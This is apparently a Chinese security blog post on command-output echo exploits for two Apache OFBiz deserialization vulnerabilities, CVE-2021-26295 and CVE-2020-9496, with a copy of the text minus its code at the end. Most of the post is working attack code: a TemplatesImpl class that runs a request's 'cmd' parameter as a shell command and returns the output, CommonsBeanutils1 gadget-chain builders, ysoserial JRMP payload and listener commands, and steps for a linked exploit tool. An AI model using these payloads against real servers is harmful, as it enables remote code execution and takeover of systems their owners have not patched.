炒冷饭系列之第二篇--Apache Ofbiz回显利用与工具实现
字数 1382 2025-08-05 08:19:26

Apache Ofbiz 反序列化漏洞回显利用与工具实现

0x00 前言

本文详细分析 Apache Ofbiz 的两个反序列化漏洞 CVE-2021-26295 和 CVE-2020-9496 的回显利用方法,并提供完整的工具实现方案。通过学习这两种漏洞的回显利用技术,可以更高效地进行安全测试和漏洞验证。

0x01 环境搭建

环境准备

wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip
unzip apache-ofbiz-17.12.01.zip
cd apache-ofbiz-17.12.01
sh gradle/init-gradle-wrapper.sh
./gradlew cleanAll loadDefault
./gradlew "ofbiz --load-data readers=seed,seed-initial,ext"
./gradlew ofbiz # 启动OFBiz

调试环境

在 IntelliJ IDEA 中导入项目进行调试

0x02 CVE-2021-26295 回显利用

漏洞原理

CVE-2021-26295 是反序列化白名单绕过漏洞,位于 java/org/apache/ofbiz/base/util/SafeObjectInputStream.java。虽然使用了 SafeObjectInputStream 进行封装(白名单校验),但忽略了 java.* 中还有 java.rmi.* 可以进行调用。

传统利用方式

  1. 使用 ysoserial 生成 JRMPClient 的 payload
#coding:utf-8
import subprocess

ip = "127.0.0.1"
port = "12345"

popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', "JRMPClient", "{}:{}".format(ip, port)], stdout=subprocess.PIPE)
payload = popen.stdout.read()
post_data = payload.hex().upper()
print(post_data)
  1. 监听 JRMP Listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "calc.exe"

回显利用实现

通过 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequestlastServicedResponse 获取 request 和 response 实现回显。

Tomcat 回显代码 (EvilTemplatesImpl.java):

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import java.io.InputStream;
import java.lang.reflect.Field;
import javax.servlet.*;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class EvilTemplatesImpl extends AbstractTranslet {
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse =
                    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
            String cmd = lastServicedRequest != null
                    ? lastServicedRequest.get().getParameter("cmd")
                    : null;
            if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else if (cmd != null) {
                ServletResponse responseFacade = lastServicedResponse.get();
                ServletRequest request_test = lastServicedRequest.get();
                ServletContext servletContext = request_test.getServletContext();
                responseFacade.getWriter();
                java.io.Writer w = responseFacade.getWriter();
                Field responseField = ResponseFacade.class.getDeclaredField("response");
                responseField.setAccessible(true);
                Response response = (Response) responseField.get(responseFacade);
                Field usingWriter = Response.class.getDeclaredField("usingWriter");
                usingWriter.setAccessible(true);
                usingWriter.set((Object) response, Boolean.FALSE);

                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                w.write(output);
                w.flush();
            }
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {}
}

CommonsBeanutils1 利用链代码 (JRMPTest.java):

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.example.EvilTemplatesImpl;

import java.io.IOException;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class JRMPTest {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String args[]) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "EvilTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        JRMPListener jrmpListener = new JRMPListener(12345,queue);
        jrmpListener.run();
    }
}

注意事项

  1. 每次生成的 JRMPClient 的 payload 只能触发 server 连接远程的 JRMP Server 一次
  2. 需要重新生成 payload 才能再次触发(因为 objid 需要重新生成)

0x03 CVE-2020-9496 回显

漏洞原理

通过 /webtools/control/xmlrpc 接口传入 XML-RPC 数据,XmlRpcEventHandlergetRequest 方法解析数据,scanDocument 扫描解析 xml 元素。解析 serialize 标签时,getParser 方法判断 pUri 是否与 EXTENSIONS_URI 相等,进入 SerializerParser 进行反序列化操作,最终取出 serializable 标签中的数据进行反序列化。

回显利用代码

import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

public class CommonsBeanutilsTest {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    public static void main(String args[]) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        String a = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(a);
    }
}

0x04 工具集成与使用

1. CVE-2021-26295 利用工具

  1. 使用 Listen-AllServer 开启 JRMP 监听
  2. 选择对应的 exp
  3. 设置远程监听端口、payload
  4. 填入目标 URL 和命令
  5. 执行 exploit

2. CVE-2020-9496 利用工具

  1. 选择相应的 exp
  2. 填入目标 URL 即可

0x05 工具地址

工具实现代码位于: https://github.com/MrMeizhi/DriedMango

0x06 参考

  1. Tomcat中一种半通用回显方法
  2. Apache Ofbiz 反序列化漏洞分析
  3. Apache Ofbiz XML-RPC RCE漏洞分析
  4. Apache Ofbiz 环境搭建
Apache Ofbiz 反序列化漏洞回显利用与工具实现 0x00 前言 本文详细分析 Apache Ofbiz 的两个反序列化漏洞 CVE-2021-26295 和 CVE-2020-9496 的回显利用方法,并提供完整的工具实现方案。通过学习这两种漏洞的回显利用技术,可以更高效地进行安全测试和漏洞验证。 0x01 环境搭建 环境准备 调试环境 在 IntelliJ IDEA 中导入项目进行调试 0x02 CVE-2021-26295 回显利用 漏洞原理 CVE-2021-26295 是反序列化白名单绕过漏洞,位于 java/org/apache/ofbiz/base/util/SafeObjectInputStream.java 。虽然使用了 SafeObjectInputStream 进行封装(白名单校验),但忽略了 java.* 中还有 java.rmi.* 可以进行调用。 传统利用方式 使用 ysoserial 生成 JRMPClient 的 payload 监听 JRMP Listener 回显利用实现 通过 org.apache.catalina.core.ApplicationFilterChain 中的 lastServicedRequest 和 lastServicedResponse 获取 request 和 response 实现回显。 Tomcat 回显代码 (EvilTemplatesImpl.java): CommonsBeanutils1 利用链代码 (JRMPTest.java): 注意事项 每次生成的 JRMPClient 的 payload 只能触发 server 连接远程的 JRMP Server 一次 需要重新生成 payload 才能再次触发(因为 objid 需要重新生成) 0x03 CVE-2020-9496 回显 漏洞原理 通过 /webtools/control/xmlrpc 接口传入 XML-RPC 数据, XmlRpcEventHandler 的 getRequest 方法解析数据, scanDocument 扫描解析 xml 元素。解析 serialize 标签时, getParser 方法判断 pUri 是否与 EXTENSIONS_URI 相等,进入 SerializerParser 进行反序列化操作,最终取出 serializable 标签中的数据进行反序列化。 回显利用代码 0x04 工具集成与使用 1. CVE-2021-26295 利用工具 使用 Listen-AllServer 开启 JRMP 监听 选择对应的 exp 设置远程监听端口、payload 填入目标 URL 和命令 执行 exploit 2. CVE-2020-9496 利用工具 选择相应的 exp 填入目标 URL 即可 0x05 工具地址 工具实现代码位于: https://github.com/MrMeizhi/DriedMango 0x06 参考 Tomcat中一种半通用回显方法 Apache Ofbiz 反序列化漏洞分析 Apache Ofbiz XML-RPC RCE漏洞分析 Apache Ofbiz 环境搭建